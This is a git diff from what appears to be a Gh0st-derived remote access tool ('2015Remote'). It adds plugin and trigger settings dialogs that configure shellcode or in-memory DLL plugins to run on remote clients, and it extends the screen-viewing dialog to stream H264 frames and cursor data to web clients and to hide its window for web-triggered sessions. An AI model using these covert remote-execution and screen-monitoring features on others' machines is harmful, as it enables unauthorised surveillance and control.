<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
|
||||
@@ -537,6 +541,7 @@
|
||||
<Image Include="res\Bitmap\Notify.bmp" />
|
||||
<Image Include="res\Bitmap\PEEdit.bmp" />
|
||||
<Image Include="res\Bitmap\Plugin.bmp" />
|
||||
<Image Include="res\Bitmap\PluginConfig.bmp" />
|
||||
<Image Include="res\Bitmap\PortProxyStd.bmp" />
|
||||
<Image Include="res\Bitmap\PrivateScreen.bmp" />
|
||||
<Image Include="res\Bitmap\proxy.bmp" />
|
||||
@@ -550,10 +555,12 @@
|
||||
<Image Include="res\Bitmap\Shutdown.bmp" />
|
||||
<Image Include="res\Bitmap\SpeedDesktop.bmp" />
|
||||
<Image Include="res\Bitmap\Trial.bmp" />
|
||||
<Image Include="res\Bitmap\Trigger.bmp" />
|
||||
<Image Include="res\Bitmap\unauthorize.bmp" />
|
||||
<Image Include="res\Bitmap\update.bmp" />
|
||||
<Image Include="res\Bitmap\VirtualDesktop.bmp" />
|
||||
<Image Include="res\Bitmap\Wallet.bmp" />
|
||||
<Image Include="res\Bitmap\WebDesktop.bmp" />
|
||||
<Image Include="res\Bitmap_4.bmp" />
|
||||
<Image Include="res\Bitmap_5.bmp" />
|
||||
<Image Include="res\chat.ico" />
|
||||
|
||||
@@ -80,6 +80,8 @@
|
||||
<ClCompile Include="FeatureLimitsDlg.cpp" />
|
||||
<ClCompile Include="WebService.cpp" />
|
||||
<ClCompile Include="msvc_compat.c" />
|
||||
<ClCompile Include="PluginSettingsDlg.cpp" />
|
||||
<ClCompile Include="TriggerSettingsDlg.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\..\client\Audio.h" />
|
||||
@@ -182,6 +184,8 @@
|
||||
<ClInclude Include="WebServiceAuth.h" />
|
||||
<ClInclude Include="WebPage.h" />
|
||||
<ClInclude Include="SimpleWebSocket.h" />
|
||||
<ClInclude Include="PluginSettingsDlg.h" />
|
||||
<ClInclude Include="TriggerSettingsDlg.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="2015Remote.rc" />
|
||||
@@ -264,6 +268,9 @@
|
||||
<Image Include="res\Bitmap\Trial.bmp" />
|
||||
<Image Include="res\Bitmap\RequestAuth.bmp" />
|
||||
<Image Include="res\Bitmap\CancelShare.bmp" />
|
||||
<Image Include="res\Bitmap\Trigger.bmp" />
|
||||
<Image Include="res\Bitmap\WebDesktop.bmp" />
|
||||
<Image Include="res\Bitmap\PluginConfig.bmp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="..\..\Release\ghost.exe" />
|
||||
|
||||
361
server/2015Remote/PluginSettingsDlg.cpp
Normal file
361
server/2015Remote/PluginSettingsDlg.cpp
Normal file
@@ -0,0 +1,361 @@
|
||||
#include "stdafx.h"
|
||||
#include "PluginSettingsDlg.h"
|
||||
#include "2015RemoteDlg.h"
|
||||
#include "resource.h"
|
||||
#include "jsoncpp/json.h"
|
||||
#include <fstream>
|
||||
#include <sstream>
|
||||
|
||||
#ifndef _WIN64
|
||||
#ifdef _DEBUG
|
||||
#pragma comment(lib, "jsoncpp/jsoncppd.lib")
|
||||
#else
|
||||
#pragma comment(lib, "jsoncpp/jsoncpp.lib")
|
||||
#endif
|
||||
#else
|
||||
#ifdef _DEBUG
|
||||
#pragma comment(lib, "jsoncpp/jsoncpp_x64d.lib")
|
||||
#else
|
||||
#pragma comment(lib, "jsoncpp/jsoncpp_x64.lib")
|
||||
#endif
|
||||
#endif
|
||||
|
||||
BEGIN_MESSAGE_MAP(CPluginSettingsDlg, CDialogLangEx)
|
||||
ON_BN_CLICKED(IDC_BTN_SAVE, &CPluginSettingsDlg::OnBnClickedBtnSave)
|
||||
ON_NOTIFY(LVN_ITEMCHANGED, IDC_LIST_PLUGINS, &CPluginSettingsDlg::OnLvnItemchangedListPlugins)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
CPluginSettingsDlg::CPluginSettingsDlg(std::vector<DllInfo*>& dllList, CWnd* pParent)
|
||||
: CDialogLangEx(IDD_DIALOG_PLUGIN_SETTINGS, pParent)
|
||||
, m_DllList(dllList)
|
||||
, m_nSelectedIndex(-1)
|
||||
{
|
||||
}
|
||||
|
||||
CPluginSettingsDlg::~CPluginSettingsDlg()
|
||||
{
|
||||
}
|
||||
|
||||
void CPluginSettingsDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
CDialogLangEx::DoDataExchange(pDX);
|
||||
DDX_Control(pDX, IDC_LIST_PLUGINS, m_listPlugins);
|
||||
DDX_Control(pDX, IDC_COMBO_RUNTYPE_P, m_comboRunType);
|
||||
DDX_Control(pDX, IDC_COMBO_CALLTYPE, m_comboCallType);
|
||||
DDX_Control(pDX, IDC_COMBO_MODE, m_comboMode);
|
||||
DDX_Control(pDX, IDC_EDIT_INTERVAL, m_editInterval);
|
||||
DDX_Control(pDX, IDC_EDIT_MAXCOUNT, m_editMaxCount);
|
||||
}
|
||||
|
||||
BOOL CPluginSettingsDlg::OnInitDialog()
|
||||
{
|
||||
CDialogLangEx::OnInitDialog();
|
||||
|
||||
// 初始化列表控件
|
||||
InitListCtrl();
|
||||
|
||||
// 初始化运行类型下拉框
|
||||
m_comboRunType.InsertString(SHELLCODE, _TR("Shellcode"));
|
||||
m_comboRunType.InsertString(MEMORYDLL, _TR("内存DLL"));
|
||||
m_comboRunType.SetCurSel(MEMORYDLL);
|
||||
|
||||
// 初始化调用方式下拉框
|
||||
m_comboCallType.InsertString(CALLTYPE_DEFAULT, _TR("自动检测"));
|
||||
m_comboCallType.InsertString(CALLTYPE_IOCPTHREAD, _TR("IOCP线程"));
|
||||
m_comboCallType.InsertString(CALLTYPE_FRPC_CALL, _TR("自定义FRPC[不可用]"));
|
||||
m_comboCallType.InsertString(CALLTYPE_FRPC_STDCALL, _TR("标准FRPC[不可用]"));
|
||||
m_comboCallType.SetCurSel(CALLTYPE_DEFAULT);
|
||||
|
||||
// 初始化调度模式下拉框
|
||||
m_comboMode.InsertString(SCH_MODE_NONE, _TR("不自动执行"));
|
||||
m_comboMode.InsertString(SCH_MODE_STARTUP, _TR("启动执行"));
|
||||
m_comboMode.InsertString(SCH_MODE_DAILY, _TR("每日定时[未实现]"));
|
||||
m_comboMode.InsertString(SCH_MODE_WEEKLY, _TR("每周定时[未实现]"));
|
||||
m_comboMode.SetCurSel(SCH_MODE_NONE);
|
||||
|
||||
// 加载配置
|
||||
m_Configs = LoadPluginConfigs();
|
||||
|
||||
// 加载插件列表
|
||||
LoadPluginsToList();
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void CPluginSettingsDlg::InitListCtrl()
|
||||
{
|
||||
m_listPlugins.SetExtendedStyle(LVS_EX_FULLROWSELECT | LVS_EX_GRIDLINES);
|
||||
|
||||
m_listPlugins.InsertColumn(0, _TR("名称"), LVCFMT_LEFT, 120);
|
||||
m_listPlugins.InsertColumn(1, _TR("大小"), LVCFMT_RIGHT, 80);
|
||||
m_listPlugins.InsertColumn(2, _TR("运行类型"), LVCFMT_LEFT, 80);
|
||||
m_listPlugins.InsertColumn(3, _TR("调度模式"), LVCFMT_LEFT, 120);
|
||||
m_listPlugins.InsertColumn(4, _TR("MD5"), LVCFMT_LEFT, 220);
|
||||
|
||||
GetDlgItem(IDC_STATIC_PLUGIN_SETTINGS)->SetWindowText(_TR("插件参数配置"));
|
||||
GetDlgItem(IDC_STATIC_PLUGIN_RUNTYPE)->SetWindowText(_TR("运行类型:"));
|
||||
GetDlgItem(IDC_STATIC_PLUGIN_CALLTYPE)->SetWindowText(_TR("调用方式:"));
|
||||
GetDlgItem(IDC_STATIC_PLUGIN_SCHEDULE)->SetWindowText(_TR("调度模式:"));
|
||||
GetDlgItem(IDC_STATIC_PLUGIN_INTERVAL)->SetWindowText(_TR("间隔(秒):"));
|
||||
GetDlgItem(IDC_STATIC_PLUGIN_COUNTER)->SetWindowText(_TR("最大次数:"));
|
||||
SetWindowText(_TR("插件设置"));
|
||||
}
|
||||
|
||||
void CPluginSettingsDlg::LoadPluginsToList()
|
||||
{
|
||||
m_listPlugins.DeleteAllItems();
|
||||
|
||||
const char* runTypeNames[] = { "Shellcode", "内存DLL" };
|
||||
const char* modeNames[] = { "不自动执行", "启动执行", "每日定时", "每周定时" };
|
||||
|
||||
int index = 0;
|
||||
for (const auto& dll : m_DllList) {
|
||||
if (!dll || !dll->Data) continue;
|
||||
|
||||
// 获取 DllExecuteInfo
|
||||
const char* buf = (char*)(dll->Data->Buf());
|
||||
if (dll->Data->length() < 1 + sizeof(DllExecuteInfo)) continue;
|
||||
const DllExecuteInfo* info = reinterpret_cast<const DllExecuteInfo*>(buf + 1);
|
||||
|
||||
// 查找或创建配置
|
||||
PluginConfig* cfg = FindConfig(dll->Name);
|
||||
|
||||
m_listPlugins.InsertItem(index, CString(dll->Name.c_str()));
|
||||
|
||||
CString sizeStr;
|
||||
sizeStr.Format(_T("%d KB"), info->Size / 1024);
|
||||
m_listPlugins.SetItemText(index, 1, sizeStr);
|
||||
|
||||
int runType = cfg ? cfg->RunType : info->RunType;
|
||||
int mode = cfg ? cfg->Mode : info->Schedule.Mode;
|
||||
|
||||
m_listPlugins.SetItemText(index, 2, _TR(runTypeNames[runType < 2 ? runType : 0]));
|
||||
m_listPlugins.SetItemText(index, 3, _TR(modeNames[mode < 4 ? mode : 0]));
|
||||
m_listPlugins.SetItemText(index, 4, CString(info->Md5));
|
||||
|
||||
m_listPlugins.SetItemData(index, (DWORD_PTR)dll);
|
||||
index++;
|
||||
}
|
||||
}
|
||||
|
||||
void CPluginSettingsDlg::OnLvnItemchangedListPlugins(NMHDR* pNMHDR, LRESULT* pResult)
|
||||
{
|
||||
LPNMLISTVIEW pNMLV = reinterpret_cast<LPNMLISTVIEW>(pNMHDR);
|
||||
*pResult = 0;
|
||||
|
||||
if (pNMLV->uNewState & LVIS_SELECTED) {
|
||||
m_nSelectedIndex = pNMLV->iItem;
|
||||
UpdateSelectedPluginInfo();
|
||||
}
|
||||
}
|
||||
|
||||
void CPluginSettingsDlg::UpdateSelectedPluginInfo()
|
||||
{
|
||||
if (m_nSelectedIndex < 0) return;
|
||||
|
||||
DllInfo* dll = reinterpret_cast<DllInfo*>(m_listPlugins.GetItemData(m_nSelectedIndex));
|
||||
if (!dll || !dll->Data) return;
|
||||
|
||||
const char* buf = (char*)(dll->Data->Buf());
|
||||
const DllExecuteInfo* info = reinterpret_cast<const DllExecuteInfo*>(buf + 1);
|
||||
|
||||
// 查找配置(如果有)
|
||||
PluginConfig* cfg = FindConfig(dll->Name);
|
||||
|
||||
// 更新下拉框和编辑框
|
||||
int runType = cfg ? cfg->RunType : info->RunType;
|
||||
int callType = cfg ? cfg->CallType : info->CallType;
|
||||
int mode = cfg ? cfg->Mode : info->Schedule.Mode;
|
||||
unsigned int interval = cfg ? cfg->Interval : info->Schedule.Config.Startup.Interval;
|
||||
unsigned char maxCount = cfg ? cfg->MaxCount : info->Schedule.MaxCount;
|
||||
|
||||
m_comboRunType.SetCurSel(runType < 2 ? runType : 0);
|
||||
m_comboCallType.SetCurSel(callType < 4 ? callType : 0);
|
||||
m_comboMode.SetCurSel(mode < 4 ? mode : 0);
|
||||
|
||||
CString str;
|
||||
str.Format(_T("%u"), interval);
|
||||
m_editInterval.SetWindowText(str);
|
||||
|
||||
str.Format(_T("%u"), maxCount);
|
||||
m_editMaxCount.SetWindowText(str);
|
||||
}
|
||||
|
||||
void CPluginSettingsDlg::OnBnClickedBtnSave()
|
||||
{
|
||||
if (m_nSelectedIndex < 0) {
|
||||
MessageBoxL(_T("请先选择一个插件"), _T("提示"), MB_ICONINFORMATION);
|
||||
return;
|
||||
}
|
||||
|
||||
SaveCurrentPluginConfig();
|
||||
SavePluginConfigs(m_Configs);
|
||||
|
||||
// 刷新列表显示
|
||||
LoadPluginsToList();
|
||||
|
||||
// 重新选中
|
||||
m_listPlugins.SetItemState(m_nSelectedIndex, LVIS_SELECTED | LVIS_FOCUSED, LVIS_SELECTED | LVIS_FOCUSED);
|
||||
|
||||
MessageBoxL(_T("配置已保存"), _T("提示"), MB_ICONINFORMATION);
|
||||
}
|
||||
|
||||
void CPluginSettingsDlg::SaveCurrentPluginConfig()
|
||||
{
|
||||
if (m_nSelectedIndex < 0) return;
|
||||
|
||||
DllInfo* dll = reinterpret_cast<DllInfo*>(m_listPlugins.GetItemData(m_nSelectedIndex));
|
||||
if (!dll || !dll->Data) return;
|
||||
|
||||
const char* buf = (char*)dll->Data->Buf();
|
||||
const DllExecuteInfo* info = reinterpret_cast<const DllExecuteInfo*>(buf + 1);
|
||||
|
||||
// 查找或创建配置
|
||||
PluginConfig* cfg = FindConfig(dll->Name);
|
||||
if (!cfg) {
|
||||
PluginConfig newCfg;
|
||||
newCfg.Name = dll->Name;
|
||||
m_Configs.push_back(newCfg);
|
||||
cfg = &m_Configs.back();
|
||||
}
|
||||
|
||||
cfg->Md5 = info->Md5;
|
||||
cfg->RunType = m_comboRunType.GetCurSel();
|
||||
cfg->CallType = m_comboCallType.GetCurSel();
|
||||
cfg->Mode = (unsigned char)m_comboMode.GetCurSel();
|
||||
|
||||
CString str;
|
||||
m_editInterval.GetWindowText(str);
|
||||
cfg->Interval = _ttoi(str);
|
||||
|
||||
m_editMaxCount.GetWindowText(str);
|
||||
cfg->MaxCount = (unsigned char)_ttoi(str);
|
||||
|
||||
// 更新 DllInfo 中的 Buffer(修改 DllExecuteInfo)
|
||||
DllExecuteInfo* infoMut = const_cast<DllExecuteInfo*>(info);
|
||||
infoMut->RunType = cfg->RunType;
|
||||
infoMut->CallType = cfg->CallType;
|
||||
infoMut->Schedule.Mode = cfg->Mode;
|
||||
infoMut->Schedule.Config.Startup.Interval = cfg->Interval;
|
||||
infoMut->Schedule.MaxCount = cfg->MaxCount;
|
||||
}
|
||||
|
||||
PluginConfig* CPluginSettingsDlg::FindConfig(const std::string& name)
|
||||
{
|
||||
for (auto& cfg : m_Configs) {
|
||||
if (cfg.Name == name) {
|
||||
return &cfg;
|
||||
}
|
||||
}
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
std::string CPluginSettingsDlg::GetPluginConfigPath()
|
||||
{
|
||||
std::string dbPath = GetDbPath();
|
||||
// 获取目录部分
|
||||
size_t pos = dbPath.find_last_of("\\/");
|
||||
std::string dir = (pos != std::string::npos) ? dbPath.substr(0, pos + 1) : "";
|
||||
return dir + "plugins.json";
|
||||
}
|
||||
|
||||
std::vector<PluginConfig> CPluginSettingsDlg::LoadPluginConfigs()
|
||||
{
|
||||
std::vector<PluginConfig> configs;
|
||||
std::string path = GetPluginConfigPath();
|
||||
|
||||
std::ifstream file(path);
|
||||
if (!file.is_open()) {
|
||||
return configs;
|
||||
}
|
||||
|
||||
Json::Value root;
|
||||
Json::CharReaderBuilder builder;
|
||||
std::string errors;
|
||||
|
||||
if (!Json::parseFromStream(builder, file, &root, &errors)) {
|
||||
return configs;
|
||||
}
|
||||
|
||||
if (!root.isArray()) {
|
||||
return configs;
|
||||
}
|
||||
|
||||
for (const auto& item : root) {
|
||||
PluginConfig cfg;
|
||||
cfg.Name = item.get("name", "").asString();
|
||||
cfg.Md5 = item.get("md5", "").asString();
|
||||
cfg.RunType = item.get("runType", MEMORYDLL).asInt();
|
||||
cfg.CallType = item.get("callType", CALLTYPE_IOCPTHREAD).asInt();
|
||||
cfg.Mode = (unsigned char)item.get("mode", SCH_MODE_NONE).asInt();
|
||||
cfg.Flags = (unsigned char)item.get("flags", 0).asInt();
|
||||
cfg.Interval = item.get("interval", 0).asUInt();
|
||||
cfg.MaxCount = (unsigned char)item.get("maxCount", 0).asInt();
|
||||
|
||||
if (!cfg.Name.empty()) {
|
||||
configs.push_back(cfg);
|
||||
}
|
||||
}
|
||||
|
||||
return configs;
|
||||
}
|
||||
|
||||
void CPluginSettingsDlg::SavePluginConfigs(const std::vector<PluginConfig>& configs)
|
||||
{
|
||||
std::string path = GetPluginConfigPath();
|
||||
|
||||
Json::Value root(Json::arrayValue);
|
||||
|
||||
for (const auto& cfg : configs) {
|
||||
Json::Value item;
|
||||
item["name"] = cfg.Name;
|
||||
item["md5"] = cfg.Md5;
|
||||
item["runType"] = cfg.RunType;
|
||||
item["callType"] = cfg.CallType;
|
||||
item["mode"] = cfg.Mode;
|
||||
item["flags"] = cfg.Flags;
|
||||
item["interval"] = cfg.Interval;
|
||||
item["maxCount"] = cfg.MaxCount;
|
||||
root.append(item);
|
||||
}
|
||||
|
||||
std::ofstream file(path);
|
||||
if (file.is_open()) {
|
||||
Json::StreamWriterBuilder builder;
|
||||
builder["indentation"] = " ";
|
||||
std::unique_ptr<Json::StreamWriter> writer(builder.newStreamWriter());
|
||||
writer->write(root, &file);
|
||||
}
|
||||
}
|
||||
|
||||
void CPluginSettingsDlg::PatchDllList(std::vector<DllInfo*>& dllList)
|
||||
{
|
||||
std::vector<PluginConfig> configs = LoadPluginConfigs();
|
||||
|
||||
for (auto& dll : dllList) {
|
||||
if (!dll || !dll->Data) continue;
|
||||
|
||||
// 查找对应的配置
|
||||
PluginConfig* cfg = nullptr;
|
||||
for (auto& c : configs) {
|
||||
if (c.Name == dll->Name) {
|
||||
cfg = &c;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!cfg) continue;
|
||||
|
||||
// 更新 DllExecuteInfo
|
||||
char* buf = (char*)dll->Data->Buf();
|
||||
if (dll->Data->length() < 1 + sizeof(DllExecuteInfo)) continue;
|
||||
|
||||
DllExecuteInfo* info = reinterpret_cast<DllExecuteInfo*>(buf + 1);
|
||||
info->RunType = cfg->RunType;
|
||||
info->CallType = cfg->CallType;
|
||||
info->Schedule.Mode = cfg->Mode;
|
||||
info->Schedule.Flags = cfg->Flags;
|
||||
info->Schedule.Config.Startup.Interval = cfg->Interval;
|
||||
info->Schedule.MaxCount = cfg->MaxCount;
|
||||
}
|
||||
}
|
||||
73
server/2015Remote/PluginSettingsDlg.h
Normal file
73
server/2015Remote/PluginSettingsDlg.h
Normal file
@@ -0,0 +1,73 @@
|
||||
#pragma once
|
||||
|
||||
#include "resource.h"
|
||||
#include "LangManager.h"
|
||||
#include "common/commands.h"
|
||||
#include "common/scheduler.h"
|
||||
#include <vector>
|
||||
#include <string>
|
||||
|
||||
// 前向声明
|
||||
struct DllInfo;
|
||||
|
||||
// 插件配置结构体(用于 JSON 存储)
|
||||
struct PluginConfig {
|
||||
std::string Name; // 插件名称(作为唯一标识)
|
||||
std::string Md5; // MD5
|
||||
int RunType; // 运行类型
|
||||
int CallType; // 调用方式
|
||||
unsigned char Mode; // 调度模式
|
||||
unsigned char Flags; // 标志位
|
||||
unsigned int Interval; // 间隔(秒)
|
||||
unsigned char MaxCount; // 最大次数
|
||||
|
||||
PluginConfig() : RunType(MEMORYDLL), CallType(CALLTYPE_IOCPTHREAD), Mode(SCH_MODE_NONE), Flags(0), Interval(0), MaxCount(0) {}
|
||||
};
|
||||
|
||||
// 插件设置对话框
|
||||
class CPluginSettingsDlg : public CDialogLangEx
|
||||
{
|
||||
public:
|
||||
CPluginSettingsDlg(std::vector<DllInfo*>& dllList, CWnd* pParent = nullptr);
|
||||
virtual ~CPluginSettingsDlg();
|
||||
|
||||
enum { IDD = IDD_DIALOG_PLUGIN_SETTINGS };
|
||||
|
||||
// 静态方法:加载插件配置
|
||||
static std::vector<PluginConfig> LoadPluginConfigs();
|
||||
// 静态方法:保存插件配置
|
||||
static void SavePluginConfigs(const std::vector<PluginConfig>& configs);
|
||||
// 静态方法:获取配置文件路径
|
||||
static std::string GetPluginConfigPath();
|
||||
// 静态方法:根据配置更新 DllInfo(Patch)
|
||||
static void PatchDllList(std::vector<DllInfo*>& dllList);
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX);
|
||||
virtual BOOL OnInitDialog();
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
|
||||
afx_msg void OnBnClickedBtnSave();
|
||||
afx_msg void OnLvnItemchangedListPlugins(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
|
||||
private:
|
||||
void InitListCtrl();
|
||||
void LoadPluginsToList();
|
||||
void UpdateSelectedPluginInfo();
|
||||
void SaveCurrentPluginConfig();
|
||||
PluginConfig* FindConfig(const std::string& name);
|
||||
|
||||
private:
|
||||
std::vector<DllInfo*>& m_DllList; // 引用主对话框的 DLL 列表
|
||||
std::vector<PluginConfig> m_Configs; // 插件配置列表
|
||||
int m_nSelectedIndex; // 当前选中的列表项索引
|
||||
|
||||
// 控件变量
|
||||
CListCtrl m_listPlugins;
|
||||
CComboBox m_comboRunType;
|
||||
CComboBox m_comboCallType;
|
||||
CComboBox m_comboMode;
|
||||
CEdit m_editInterval;
|
||||
CEdit m_editMaxCount;
|
||||
};
|
||||
@@ -156,7 +156,13 @@ CScreenSpyDlg::CScreenSpyDlg(CMy2015RemoteDlg* Parent, Server* IOCPServer, CONTE
|
||||
LPBYTE pClientID = m_ContextObject->InDeCompressedBuffer.GetBuffer(41);
|
||||
if (pClientID) {
|
||||
m_ClientID = *((uint64_t*)pClientID);
|
||||
Mprintf("[ScreenSpyDlg] Parsed clientID in constructor: %llu\n", m_ClientID);
|
||||
|
||||
// Notify web clients of resolution (important for clients that only send TOKEN_BITMAPINFO once)
|
||||
if (WebService().IsRunning()) {
|
||||
int width = m_BitmapInfor_Full->bmiHeader.biWidth;
|
||||
int height = abs(m_BitmapInfor_Full->bmiHeader.biHeight);
|
||||
WebService().NotifyResolutionChange(m_ClientID, width, height);
|
||||
}
|
||||
}
|
||||
|
||||
// 从客户端配置初始化自适应质量状态 (QualityLevel: -2=关闭, -1=自适应, 0-5=具体等级)
|
||||
@@ -758,6 +764,12 @@ BOOL CScreenSpyDlg::OnInitDialog()
|
||||
// 注册屏幕上下文到 WebService(用于 Web 端鼠标/键盘控制)
|
||||
WebService().RegisterScreenContext(m_ClientID, m_ContextObject);
|
||||
|
||||
// Hide window if this session was triggered by web client
|
||||
if (WebService().IsWebTriggered(m_ClientID) && WebService().GetHideWebSessions()) {
|
||||
m_bHide = true;
|
||||
ShowWindow(SW_HIDE);
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
@@ -1254,6 +1266,10 @@ VOID CScreenSpyDlg::DrawNextScreenDiff(bool keyFrame)
|
||||
m_bCursorIndex = m_ContextObject->InDeCompressedBuffer.GetBuffer(2+sizeof(POINT))[0];
|
||||
if (bOldCursorIndex != m_bCursorIndex) {
|
||||
bChange = TRUE;
|
||||
// 通知 Web 客户端光标变化
|
||||
if (WebService().IsRunning()) {
|
||||
WebService().BroadcastCursor(m_ClientID, m_bCursorIndex);
|
||||
}
|
||||
if (m_bIsCtrl && !m_bIsTraceCursor) {//替换指定窗口所属类的WNDCLASSEX结构
|
||||
HCURSOR cursor;
|
||||
if (m_bCursorIndex == 254) { // -2: 使用自定义光标
|
||||
@@ -1295,6 +1311,24 @@ VOID CScreenSpyDlg::DrawNextScreenDiff(bool keyFrame)
|
||||
break;
|
||||
}
|
||||
case ALGORITHM_H264: {
|
||||
// Decode locally if dialog is visible
|
||||
if (!m_bHide && NextScreenLength > 0) {
|
||||
if (Decode((LPBYTE)NextScreenData, NextScreenLength)) {
|
||||
bChange = TRUE;
|
||||
}
|
||||
}
|
||||
// Broadcast H264 keyframe to web clients
|
||||
if (NextScreenLength > 0 && WebService().IsRunning()) {
|
||||
std::vector<uint8_t> packet(4 + 1 + 4 + NextScreenLength);
|
||||
uint32_t deviceIdLow = (uint32_t)(m_ClientID & 0xFFFFFFFF);
|
||||
uint8_t frameType = 1; // Keyframe
|
||||
uint32_t dataLen = (uint32_t)NextScreenLength;
|
||||
memcpy(packet.data(), &deviceIdLow, 4);
|
||||
packet[4] = frameType;
|
||||
memcpy(packet.data() + 5, &dataLen, 4);
|
||||
memcpy(packet.data() + 9, NextScreenData, NextScreenLength);
|
||||
WebService().BroadcastH264Frame(m_ClientID, packet.data(), packet.size());
|
||||
}
|
||||
break;
|
||||
}
|
||||
default:
|
||||
@@ -1429,6 +1463,10 @@ VOID CScreenSpyDlg::DrawScrollFrame()
|
||||
m_bCursorIndex = m_ContextObject->InDeCompressedBuffer.GetBuffer(2 + sizeof(POINT))[0];
|
||||
if (bOldCursorIndex != m_bCursorIndex) {
|
||||
bChange = TRUE;
|
||||
// 通知 Web 客户端光标变化
|
||||
if (WebService().IsRunning()) {
|
||||
WebService().BroadcastCursor(m_ClientID, m_bCursorIndex);
|
||||
}
|
||||
}
|
||||
|
||||
// 读取滚动参数
|
||||
|
||||
497
server/2015Remote/TriggerSettingsDlg.cpp
Normal file
497
server/2015Remote/TriggerSettingsDlg.cpp
Normal file
@@ -0,0 +1,497 @@
|
||||
#include "stdafx.h"
|
||||
#include "TriggerSettingsDlg.h"
|
||||
#include "2015RemoteDlg.h"
|
||||
#include "jsoncpp/json.h"
|
||||
#include <fstream>
|
||||
#include <sstream>
|
||||
|
||||
#ifndef _WIN64
|
||||
#ifdef _DEBUG
|
||||
#pragma comment(lib, "jsoncpp/jsoncppd.lib")
|
||||
#else
|
||||
#pragma comment(lib, "jsoncpp/jsoncpp.lib")
|
||||
#endif
|
||||
#else
|
||||
#ifdef _DEBUG
|
||||
#pragma comment(lib, "jsoncpp/jsoncpp_x64d.lib")
|
||||
#else
|
||||
#pragma comment(lib, "jsoncpp/jsoncpp_x64.lib")
|
||||
#endif
|
||||
#endif
|
||||
|
||||
// GBK (CP_ACP) -> UTF-8 编码转换
|
||||
static std::string GbkToUtf8(const std::string& gbkStr)
|
||||
{
|
||||
if (gbkStr.empty()) return "";
|
||||
|
||||
// GBK -> WideChar
|
||||
int wideLen = MultiByteToWideChar(CP_ACP, 0, gbkStr.c_str(), -1, NULL, 0);
|
||||
if (wideLen <= 0) return gbkStr;
|
||||
|
||||
std::wstring wideStr(wideLen, 0);
|
||||
MultiByteToWideChar(CP_ACP, 0, gbkStr.c_str(), -1, &wideStr[0], wideLen);
|
||||
|
||||
// WideChar -> UTF-8
|
||||
int utf8Len = WideCharToMultiByte(CP_UTF8, 0, wideStr.c_str(), -1, NULL, 0, NULL, NULL);
|
||||
if (utf8Len <= 0) return gbkStr;
|
||||
|
||||
std::string utf8Str(utf8Len, 0);
|
||||
WideCharToMultiByte(CP_UTF8, 0, wideStr.c_str(), -1, &utf8Str[0], utf8Len, NULL, NULL);
|
||||
|
||||
// 移除末尾的 null 字符
|
||||
if (!utf8Str.empty() && utf8Str.back() == '\0') {
|
||||
utf8Str.pop_back();
|
||||
}
|
||||
return utf8Str;
|
||||
}
|
||||
|
||||
// UTF-8 -> GBK (CP_ACP) 编码转换
|
||||
static std::string Utf8ToGbk(const std::string& utf8Str)
|
||||
{
|
||||
if (utf8Str.empty()) return "";
|
||||
|
||||
// UTF-8 -> WideChar
|
||||
int wideLen = MultiByteToWideChar(CP_UTF8, 0, utf8Str.c_str(), -1, NULL, 0);
|
||||
if (wideLen <= 0) return utf8Str;
|
||||
|
||||
std::wstring wideStr(wideLen, 0);
|
||||
MultiByteToWideChar(CP_UTF8, 0, utf8Str.c_str(), -1, &wideStr[0], wideLen);
|
||||
|
||||
// WideChar -> GBK
|
||||
int gbkLen = WideCharToMultiByte(CP_ACP, 0, wideStr.c_str(), -1, NULL, 0, NULL, NULL);
|
||||
if (gbkLen <= 0) return utf8Str;
|
||||
|
||||
std::string gbkStr(gbkLen, 0);
|
||||
WideCharToMultiByte(CP_ACP, 0, wideStr.c_str(), -1, &gbkStr[0], gbkLen, NULL, NULL);
|
||||
|
||||
// 移除末尾的 null 字符
|
||||
if (!gbkStr.empty() && gbkStr.back() == '\0') {
|
||||
gbkStr.pop_back();
|
||||
}
|
||||
return gbkStr;
|
||||
}
|
||||
|
||||
BEGIN_MESSAGE_MAP(CTriggerSettingsDlg, CDialogLangEx)
|
||||
ON_BN_CLICKED(IDC_BTN_SAVE, &CTriggerSettingsDlg::OnBnClickedBtnSave)
|
||||
ON_BN_CLICKED(IDC_BTN_TRIGGER_ADD, &CTriggerSettingsDlg::OnBnClickedBtnTriggerAdd)
|
||||
ON_BN_CLICKED(IDC_BTN_TRIGGER_REMOVE, &CTriggerSettingsDlg::OnBnClickedBtnTriggerRemove)
|
||||
ON_NOTIFY(LVN_ITEMCHANGED, IDC_LIST_TRIGGERS, &CTriggerSettingsDlg::OnLvnItemchangedListTriggers)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
CTriggerSettingsDlg::CTriggerSettingsDlg(std::vector<DllInfo*>& dllList, CWnd* pParent)
|
||||
: CDialogLangEx(IDD_DIALOG_TRIGGER_SETTINGS, pParent)
|
||||
, m_DllList(dllList)
|
||||
{
|
||||
}
|
||||
|
||||
CTriggerSettingsDlg::~CTriggerSettingsDlg()
|
||||
{
|
||||
}
|
||||
|
||||
void CTriggerSettingsDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
CDialogLangEx::DoDataExchange(pDX);
|
||||
DDX_Control(pDX, IDC_COMBO_TRIGGER_TYPE, m_comboTriggerType);
|
||||
DDX_Control(pDX, IDC_LIST_TRIGGER_PLUGINS, m_listPlugins);
|
||||
DDX_Control(pDX, IDC_LIST_TRIGGERS, m_listTriggers);
|
||||
}
|
||||
|
||||
BOOL CTriggerSettingsDlg::OnInitDialog()
|
||||
{
|
||||
CDialogLangEx::OnInitDialog();
|
||||
|
||||
InitControls();
|
||||
|
||||
// 加载配置
|
||||
m_Configs = LoadTriggerConfigs();
|
||||
|
||||
// 加载插件列表
|
||||
LoadPluginsToList();
|
||||
|
||||
// 加载已配置的触发器
|
||||
LoadTriggersToList();
